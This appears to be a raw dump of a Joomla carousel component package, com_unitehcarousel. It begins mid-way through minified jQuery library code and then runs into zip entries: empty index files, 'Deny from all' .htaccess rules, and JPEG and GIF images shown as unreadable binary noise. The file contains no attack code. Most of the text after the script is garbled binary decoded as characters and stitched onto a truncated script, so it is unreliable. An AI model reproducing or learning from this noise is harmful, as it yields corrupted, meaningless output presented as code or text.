d,e,g,h=f.support.html5Clone||f.isXMLDoc(a)||!bc.test("<"+a.nodeName+">")?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]&&bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g,h,i,j=[];b=b||c,typeof b.createElement=="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);for(var k=0,l;(l=a[k])!=null;k++){typeof l=="number"&&(l+="");if(!l)continue;if(typeof l=="string")if(!_.test(l))l=b.createTextNode(l);else{l=l.replace(Y,"<$1>");var m=(Z.exec(l)||["",""])[1].toLowerCase(),n=bg[m]||bg._default,o=n[0],p=b.createElement("div"),q=bh.childNodes,r;b===c?bh.appendChild(p):U(b).appendChild(p),p.innerHTML=n[1]+l+n[2];while(o--)p=p.lastChild;if(!f.support.tbody){var s=$.test(l),t=m==="table"&&!s?p.firstChild&&p.firstChild.childNodes:n[1]===""&&!s?p.childNodes:[];for(i=t.length-1;i>=0;--i)f.nodeName(t[i],"tbody")&&!t[i].childNodes.length&&t[i].parentNode.removeChild(t[i])}!f.support.leadingWhitespace&&X.test(l)&&p.insertBefore(b.createTextNode(X.exec(l)[0]),p.firstChild),l=p.childNodes,p&&(p.parentNode.removeChild(p),q.length>0&&(r=q[q.length-1],r&&r.parentNode&&r.parentNode.removeChild(r)))}var u;if(!f.support.appendChecked)if(l[0]&&typeof (u=l.length)=="number")for(i=0;i1)},f.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=by(a,"opacity");return c===""?"1":c}return a.style.opacity}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":f.support.cssFloat?"cssFloat":"styleFloat"},style:function(a,c,d,e){if(!!a&&a.nodeType!==3&&a.nodeType!==8&&!!a.style){var g,h,i=f.camelCase(c),j=a.style,k=f.cssHooks[i];c=f.cssProps[i]||i;if(d===b){if(k&&"get"in k&&(g=k.get(a,!1,e))!==b)return g;return j[c]}h=typeof d,h==="string"&&(g=bu.exec(d))&&(d=+(g[1]+1)*+g[2]+parseFloat(f.css(a,c)),h="number");if(d==null||h==="number"&&isNaN(d))return;h==="number"&&!f.cssNumber[i]&&(d+="px");if(!k||!("set"in k)||(d=k.set(a,d))!==b)try{j[c]=d}catch(l){}}},css:function(a,c,d){var e,g;c=f.camelCase(c),g=f.cssHooks[c],c=f.cssProps[c]||c,c==="cssFloat"&&(c="float");if(g&&"get"in g&&(e=g.get(a,!0,d))!==b)return e;if(by)return by(a,c)},swap:function(a,b,c){var d={},e,f;for(f in b)d[f]=a.style[f],a.style[f]=b[f];e=c.call(a);for(f in b)a.style[f]=d[f];return e}}),f.curCSS=f.css,c.defaultView&&c.defaultView.getComputedStyle&&(bz=function(a,b){var c,d,e,g,h=a.style;b=b.replace(br,"-$1").toLowerCase(),(d=a.ownerDocument.defaultView)&&(e=d.getComputedStyle(a,null))&&(c=e.getPropertyValue(b),c===""&&!f.contains(a.ownerDocument.documentElement,a)&&(c=f.style(a,b))),!f.support.pixelMargin&&e&&bv.test(b)&&bt.test(c)&&(g=h.width,h.width=c,c=e.width,h.width=g);return c}),c.documentElement.currentStyle&&(bA=function(a,b){var c,d,e,f=a.currentStyle&&a.currentStyle[b],g=a.style;f==null&&g&&(e=g[b])&&(f=e),bt.test(f)&&(c=g.left,d=a.runtimeStyle&&a.runtimeStyle.left,d&&(a.runtimeStyle.left=a.currentStyle.left),g.left=b==="fontSize"?"1em":f,f=g.pixelLeft+"px",g.left=c,d&&(a.runtimeStyle.left=d));return f===""?"auto":f}),by=bz||bA,f.each(["height","width"],function(a,b){f.cssHooks[b]={get:function(a,c,d){if(c)return a.offsetWidth!==0?bB(a,b,d):f.swap(a,bw,function(){return bB(a,b,d)})},set:function(a,b){return bs.test(b)?b+"px":b}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return bq.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?"alpha(opacity="+b*100+")":"",g=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&f.trim(g.replace(bp,""))===""){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bp.test(g)?g.replace(bp,e):g+" "+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){return f.swap(a,{display:"inline-block"},function(){return b?by(a,"margin-right"):a.style.marginRight})}})}),f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style&&a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)}),f.each({margin:"",padding:"",border:"Width"},function(a,b){f.cssHooks[a+b]={expand:function(c){var d,e=typeof c=="string"?c.split(" "):[c],f={};for(d=0;d<4;d++)f[a+bx[d]+b]=e[d]||e[d-2]||e[0];return f}}});var bC=/%20/g,bD=/\[\]$/,bE=/\r?\n/g,bF=/#.*$/,bG=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,bH=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bI=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,bJ=/^(?:GET|HEAD)$/,bK=/^\/\//,bL=/\?/,bM=/)<[^<]*)*<\/script>/gi,bN=/^(?:select|textarea)/i,bO=/\s+/,bP=/([?&])_=[^&]*/,bQ=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bR=f.fn.load,bS={},bT={},bU,bV,bW=["*/"]+["*"];try{bU=e.href}catch(bX){bU=c.createElement("a"),bU.href="",bU=bU.href}bV=bQ.exec(bU.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!="string"&&bR)return bR.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("
    ").append(c.replace(bM,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bN.test(this.nodeName)||bH.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bE,"\r\n")}}):{name:b.name,value:c.replace(bE,"\r\n")}}).get()}}),f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,"script")},getJSON:function(a,b,c){return f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?b$(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b$(a,b);return a},ajaxSettings:{url:bU,isLocal:bI.test(bV[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded; charset=UTF-8",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":bW},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":f.parseJSON,"text xml":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bY(bS),ajaxTransport:bY(bT),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a>0?4:0;var o,r,u,w=c,x=l?ca(d,v,l):b,y,z;if(a>=200&&a<300||a===304){if(d.ifModified){if(y=v.getResponseHeader("Last-Modified"))f.lastModified[k]=y;if(z=v.getResponseHeader("Etag"))f.etag[k]=z}if(a===304)w="notmodified",o=!0;else try{r=cb(d,x),w="success",o=!0}catch(A){w="parsererror",u=A}}else{u=w;if(!w||a)w="error",a<0&&(a=0)}v.status=a,v.statusText=""+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof a=="object"&&(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks("once memory"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bG.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bF,"").replace(bK,bV[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bO),d.crossDomain==null&&(r=bQ.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bV[1]&&r[2]==bV[2]&&(r[3]||(r[1]==="http:"?80:443))==(bV[3]||(bV[1]==="http:"?80:443)))),d.data&&d.processData&&typeof d.data!="string"&&(d.data=f.param(d.data,d.traditional)),bZ(bS,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bJ.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bL.test(d.url)?"&":"?")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bP,"$1_="+x);d.url=y+(y===d.url?(bL.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?", "+bW+"; q=0.01":""):d.accepts["*"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=bZ(bT,d,c,v);if(!p)w(-1,"No Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s<2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)b_(g,a[g],c,e);return d.join("&").replace(bC,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var cc=f.now(),cd=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return f.expando+"_"+cc++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var e=typeof b.data=="string"&&/^application\/x\-www\-form\-urlencoded/.test(b.contentType);if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(cd.test(b.url)||e&&cd.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(cd,l),b.url===j&&(e&&(k=k.replace(cd,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script json"]=function(){g||f.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var ce=a.ActiveXObject?function(){for(var a in cg)cg[a](0,1)}:!1,cf=0,cg;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ch()||ci()}:ch,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,ce&&delete cg[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n);try{m.text=h.responseText}catch(a){}try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cf,ce&&(cg||(cg={},f(a).unload(ce)),cg[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var cj={},ck,cl,cm=/^(?:toggle|show|hide)$/,cn=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,co,cp=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cq;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(ct("show",3),a,b,c);for(var g=0,h=this.length;g=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0&&(g=!1);if(g){i.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){h.style["overflow"+b]=i.overflow[a]}),i.hide&&f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,"fxshow"+b,!0),f.removeData(h,"toggle"+b,!0);d=i.complete,d&&(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,c){var d=/Y/.test(c);f.fn[a]=function(e){return f.access(this,function(a,e,g){var h=cy(a);if(g===b)return h?c in h?h[c]:f.support.boxModel&&h.document.documentElement[e]||h.document.body[e]:a[e];h?h.scrollTo(d?f(h).scrollLeft():g,d?g:f(h).scrollTop()):a[e]=g},a,e,arguments.length,null)}}),f.each({Height:"height",Width:"width"},function(a,c){var d="client"+a,e="scroll"+a,g="offset"+a;f.fn["inner"+a]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,c,"padding")):this[c]():null},f.fn["outer"+a]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,c,a?"margin":"border")):this[c]():null},f.fn[c]=function(a){return f.access(this,function(a,c,h){var i,j,k,l;if(f.isWindow(a)){i=a.document,j=i.documentElement[d];return f.support.boxModel&&j||i.body&&i.body[d]||j}if(a.nodeType===9){i=a.documentElement;if(i[d]>=i[e])return i[d];return Math.max(a.body[e],i[e],a.body[g],i[g])}if(h===b){k=f.css(a,c),l=parseFloat(k);return f.isNumeric(l)?l:k}f(a).css(c,h)},c,a,arguments.length,null)}}),a.jQuery=a.$=f,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return f})})(window);PKs>\,com_unitehcarousel/assets/resizer/index.htmlnuW+APKs>\ ˰1com_unitehcarousel/assets/resizer/empty_image.jpgnuW+AJFIFddDucky<Adobed       ,, !1AQqra"2RSs45#%Bb3$TCcD ?{ZF 7PsA! DGcOql_N*TTB@A!+ B"DGB(B@A! DUҀTB@@DB(:QD/"6sx}5 DeumY͑K֗D$(馀56Hk|x]XK(hkAޫ?TvdIOC5ӟiktt?BQB@@4Pds͸`#C]A˜qܻr4P*( %[%Iy =| )kװc-pAQ A( h ߏIԉX*AlôǷ8㧑R-wW4Uj3agdm/wEJKn$\^2$FnLY<5$xtwTf"!ETT@@@@@@@@@A6}g5"V>%-;CA0ݏ5(RoմPb~5;neq7ΘW5AgXP~3pm]8$JQQqÝ<OB ڀBDB@@Aڊ mjD eyh* b|R>7/a-p Ъ; GS.uv{?zt]|JchْZ+oQsmOvߐ4Q *-6`~m(EPv3s+ND]yԤs}aGr*zTFQAےխ=yjv2;BPbhd[GVh'i҃53i&HG T\eٰw8ޕUDEPB@A@AA;DY"VN&huX^W%dY0TT(&{6\\XKGu0P~{EG =ЃkK\E;<NĢPb6\fkM[DEM]\Dm=t(4"**B@Aފ Ugmi0HG5sR5eocyЁFW}WiGvd[_zt(u,HO-J.2\ 0%5yM;2k"0Y#;Gk&dԒI:I*iq yY|P?t BPB Q!om?k0Dewu:Tmu8#h8vCΈQה-}yoTWqǘ[`lF*{y],Ty(4{?=mhαǡA@A!! @@@@@@A"8<1lmh {y M3SQٖ䶹{^2;"y\A' -4קt Ifj#fl-fI)|nh%ߣP["wckv#U4% $p ;0<ٲ&=Ύ4h-{ZdjH**B@Ab X[ \A 6&&/{iZX+Fb-Et jH-F&#} ,oykk__$t"\,/ M\(+w[P s$S@ d ;{[-NyJҨݖ0 FDrfVmlj4T_n0{0L[TqR[}Sťx~ <# AYEgpatNq7Ps~ `P-#00ZkA! ESm_ǽo1Dclѭ?+]WqA͕f1Oq: dI<r,d;ӗqPAWEFvm ڨMQ00 0D,Dh!U E*B p(_*O.ӻH%y|(3JvW~Qn89-:T}CVF5AΚ?+@pATi}ˀ^zTv6˺֒8i1P@@AqZ>37hvz9$qFQoslW) ݨP|fM|Zb뷝g9PuPJA!-* ;IQz*5ҠPpC[Oy ceҢ9]a;w\=/f0hi}T,W/O& *46fb? Ѓ5EF,˭MN&j;yr'D5Ť4e(p]>=yeŨƒ+4C+Q֨cbc] y|}ēAij( 4Q wǪT( oJU @A9s{oؗ‚ZڲaMdٖTR]|h8lA~` j#hmw(% unA9~L9B)JN%HTQG{s;2YvJRrY + ּ}ϫc#k(Do88uT֚}vLى,5{,s[6H\4M}`G sU=}PEyZ[ZAl6tƒ}ȚۙB@uqj,Pt/!SR*֨@AEr˚XE#`׷C@Dz[Ap^hH4Rv1H5 ._ h>֗8ѠTEr~oq#F̎4 ws~o{a|:Aquonګ]0^dp ęo,|n(|=9cFLvh>dh(95>UA=e~Z8xia! bxxݡ@Xa| á3 9sCAЃKHXx(|>?3z(;Wr-ݑ=3ʍ>_/ke4<-Рx]Ђk9 V")e=4#y\7S+ a f=/>"㌹P*Xm[ܠATTA!˙XL8G tC?T{YGq>5#&hE6ay҃grNAﲨ>Z ^h.fNHAə|dyGӢAւ?E ϋ 1EEE-`|{uGؠϼx]Ѓ&8pkpk&%܍IĎEs2L.ׅ+(3ٗ9 Xh֜GA kZAQB A@@@@AfUN͆8^ǐ$uuOD749aQpeͩ3; a ͮ ho+P[dpu! ͥ/;8t^A'vMxR"f#iAӴ>D.A|̝N2.}⃱o44tpamS9,n7$icJȇ*YIT`{#ӥ.kV469Y1xG0A#{CI*/r[e"zATHAMG@:|9lFDN!]\h9y{@\I jӥ&㮶UWy.qe%5?z8sMTkX54!A{n$2[7Aպ񵗲MƸh.rn5¼,"t >bNHA%}`sF aEA c`)1(;X"A2sIp ݎUfH,A9Ēwtm#hc{jv:ul&wB0X=#vUk}CN3yuhAAc(*wV"Pf`*,9{[Gk@~fNHA˘d-f-h &qsIt ᲄMudUø4g, ~ƒ<斸QaIڿY ׄ 9d7 4hT}Am4Iv* k[V۩AJZj B)20LC1xG0Aeh^HAoqs3,QPUAŞ A AđE%1@taa֝Ud 7Aaa֝Ud1hpB+΃BblmkAm$N %6B &i ̃@Ki'Y >3'͸k\4l0kӾPy &6u!a- ,ih((|<͞APo. p HA{6 :\j4GMc(ֆ((**B@A! *DEPBPB@AA! EPBPB@@@@@@@@@@@Aނ**B@@A! TTT U U B@A! TT1ѽv""! B@A"=~_~,?j +WýQUj (! B@A! Q?AS?8TWPKs>\)+com_unitehcarousel/assets/resizer/.htaccessnuW+A Order allow,deny Deny from all PKs>\Y-com_unitehcarousel/assets/loaders/loading.gifnuW+AGIF89aԔ```@@@DDDnnnܤ$$$(((000666>>>jjjrrrŠPPP^^^:::\\\|||ↆhhhfffFFF xxx֮ƼzzzLLLRRRZZZbbbBBB<<B;>CD ;+F &03 8<݄!'14,< "PF`! ,;WX []<U Y-\$_&JOSHTJ^*\GP2 #7HKQ:6L=FF'MijNA:bIT@?R/D924I ::/E`ӃA&V,ZJCaTT9Ij! , i^,CK jl8^ghQCRk "dNJnj2H0T.-435GЄ`eC6:f:=σG5AT770/6@C(CBA;@/܆F r Z@! ,?(N!lG9'g[jNJA#HlF=B]ON*#F`8"p A/`9"07qE "T=36n F o)! ,aoe&? +qe4H2D< @33 %F8<;J @@ce[l>8TBjuaB7KAǐ0Cv^ ur6b?ՅY)3T3+'s 6F0:.ntn830֭! ,0@9(+ATA8cJq >`GT6:"VVA6@>/B4eb= oRTD3>hF^M'0F7BLd63Ӑ]jl7ۅ&NG+TTc1SOJvwn\-Yr;"0:TD AB8Q"6/37;(I@0=:GJ73QfA6D,<3e34.1&2*^Z\3#*N DK$+C9 \T6Jc -:gY(DZe u,AKXqoPt2Q=FAl!+ OjLM^aG1N\@ÕA;PKs>\)+com_unitehcarousel/assets/loaders/.htaccessnuW+A Order allow,deny Deny from all PKs>\,com_unitehcarousel/assets/loaders/index.htmlnuW+APKs>\$com_unitehcarousel/assets/index.htmlnuW+APKs>\huJ0com_unitehcarousel/assets/images/slide_image.jpgnuW+AExifII*Ducky<Adobed        !1AQaq"2BRb#r3s$5Tt%6CSDUu&4dE1!AQq2a"R3Brb#C ?؎k> kx"(B1:@2DXif)ElpA@UTPl `%  X:@''TP$"*KqtLr% c!I-CSHL bDسo"ՈUEiC90*kD"bI4QNPb~h'lc!!$*-FraQ[ڈ'H(D# ! D 3D9qMA$b3ar1 c&5 ޡhɁ: QO JaTcÙ\Šbpjn-nI 7Pi/zdؠ( F5EfQ:jI2Ĩ,FUKlHtŜHƊLV`[pӦD<  JXHZ橆8b+c 8^؀(LC(%L5I@@[5P|S[K@=A8F@B Zئ. "$ĉ1g B*1UZҷ Ēh!T8(3NBC1HULZDT#T%袷W : #iNQFJGPCAƈ fr:dfdm/Ac &2`P]SUT@-1AL9 b= nXE f 2PLj(PB1+68 bEJ"  CՐX:, @AeBr"ʡ-N噴ފij#F-"0`+H7*]S618$-aI35K*p΁+2jkހ׷>VYW<5"!G.I-arÃK@i87JcLx]DkJ C[K!f@-!Af>c c U09CX/Ad5LP1@o&[P#e1'a+J n(0i1f)19 QMGKL"g31N *4L%( imDLKĜ aa¨9 |Pf( .z)ê! A !#AYNz!:t1h.i4C[H4(iѠ] hp`a 1nÊahۃ҉bENHdF-R?o}-_68y kDB;p\[3tICNqAn!+io$44@[ ҁ@D`g]c5ij19QX/AdPhS&" n"F/('SDA7⊖iV1I$"#)OUDJ%Cx P "h"!A-⢂ P\⃠nCF1 cg D>O\tig KTb*Tsc|]+&plPP\YTPYѨ݂( o悄Jrpt#rL4,"F㊘h#!@L]"4l¨ ȐlASAص *9N1R][1zUFDBc h N!IAQ;P(!"cVjrH0eTDCQ UVHB.*@`hI(*1TԪ`/T P""<TUzb`VX ]T1b.~7!KnL:s][ت1~ Á *PF ܤj(:Z"$ s@.,.0Ӥ[ I|F(h I_H 4 C0@PaLDc)CpEm4ЌH4HdTbGaҋT7k3*3yEi!͐TݹjZIe[2*bTץU[ b-#2 `be9襆ETHL|ѸdRzh0 ћN :Mm"0h+b$WRbi bƨd1cor (KE&:iUA=m+L& %C#LxZTԶ*ᤀ/KU#j? bh12" tb.U4q4Q~9ݘn6&cQM5Hv*5lF4@.F8 *Dm!d)l37*HZw%GTD\#s@.8`X8tN4(6 "  kPi$ApHf*ނL)hbe2шrNFi *B tWL5BcQ{⠽*["U0g4A20å\Bյ&͐ڎܵBUx.ellPM^ 1!ToDnQ~ENAvSā>aq(,b.94]ͧ$ -1`bWQF~BC;"Ơ# DTcWw/E3(i:HՃT[YPz*(,0g7&sE0 "%*(@Q@gL T$PU_{ ӌ,"" 1U*ΈqT`@ybcbT3b JES5F҃i4anL5ZF (kinY NyƶAK.\QP@Ǣm-L`8X*.P:Ejc IpŰdE7Ɇ! DDh cRhCQͺ(0W$;nu`[ 't8[JFw:@,XQ0H7TF!"6PD@rfPiB@k0ln*|UT{i $3.J d@6Ĺ< SQQꆉFZHX= 0 @i B:BD#srj^犆(鰧0  pꆶGZt'ꀔh*ծyq&{ۘJ ؔBuC@bk+@T'# @ Ξ4I V3 Is| 1l*T" Q\ኊm>LP{NNpSC4 bi@GI*8 4wH@QPfÂHQ VAx('sj2m_(.BXrCآjD`(懚 `ፐf@$6qrՐ Z f&"51U03P;E P\@",j1rAB<np{)TPf 1b*08.F(";q#*b릕PqgG ъ@M- n2 w7MB! %j!&ت4̅ GL47k58T:JDin?b5H1!wJ`X 3梱"@?E`8 A5PFd_(.B, ̀o@8ب-,Ab!P6QRTC؊TJ=Aj+D%Ԙ&R rh1T&2H -*DQ@" j)kM!TVM擡˪ #/#^ lUFОCr02uTBYPDpA0`  HȚ**AUFfV҃ lP:A @0!APb߆*>j 1yM슠ɨLA~(C5SD6]Lԑt4Ջ7D4F9`]M55j]mh`d @AD5;˶H be"TJ3Df`PKc@TP & D{AGViuC8"4J4Qq XVbk""ȃKr+!ӊ @^٠jiuaQ[]D\F(0XFU-Kウ 3ةa)Ҩ Ԙ@ "3Dm(.ӋZ0v` sAl?R:7Lx&+M_DH2"Cr2uv~R(J7x^.0"j7"hC8RtT[ Љ@Em9 ʌT Mb C栓$~aȪQ3U4ChEIN@}XtCDcP 8PCD MZC[@a &._1/Aw5m 4_QLL@*R85 IhD38 \`:UK%Hּ$QE4S Zj@QAdVܔT QPh]EL4E袦Y{TW2/aEQzc8  